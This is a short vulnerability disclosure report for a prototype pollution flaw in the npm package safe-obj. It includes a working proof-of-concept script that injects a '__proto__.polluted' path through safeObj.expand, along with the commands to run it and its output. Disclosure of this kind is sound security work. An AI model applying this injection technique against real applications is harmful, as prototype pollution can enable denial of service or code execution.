Prototype Pollution in tandrewnichols/safe-obj


Reported on

Jan 30th 2021


safe-obj is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var safeObj = require("safe-obj")
var obj = {};
console.log("Before: " + {}.polluted)
safeObj.expand(obj, "__proto__.polluted", true)
console.log("After: " + {}.polluted)
  1. Execute the following commands in the terminal:
npm i safe-obj # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.

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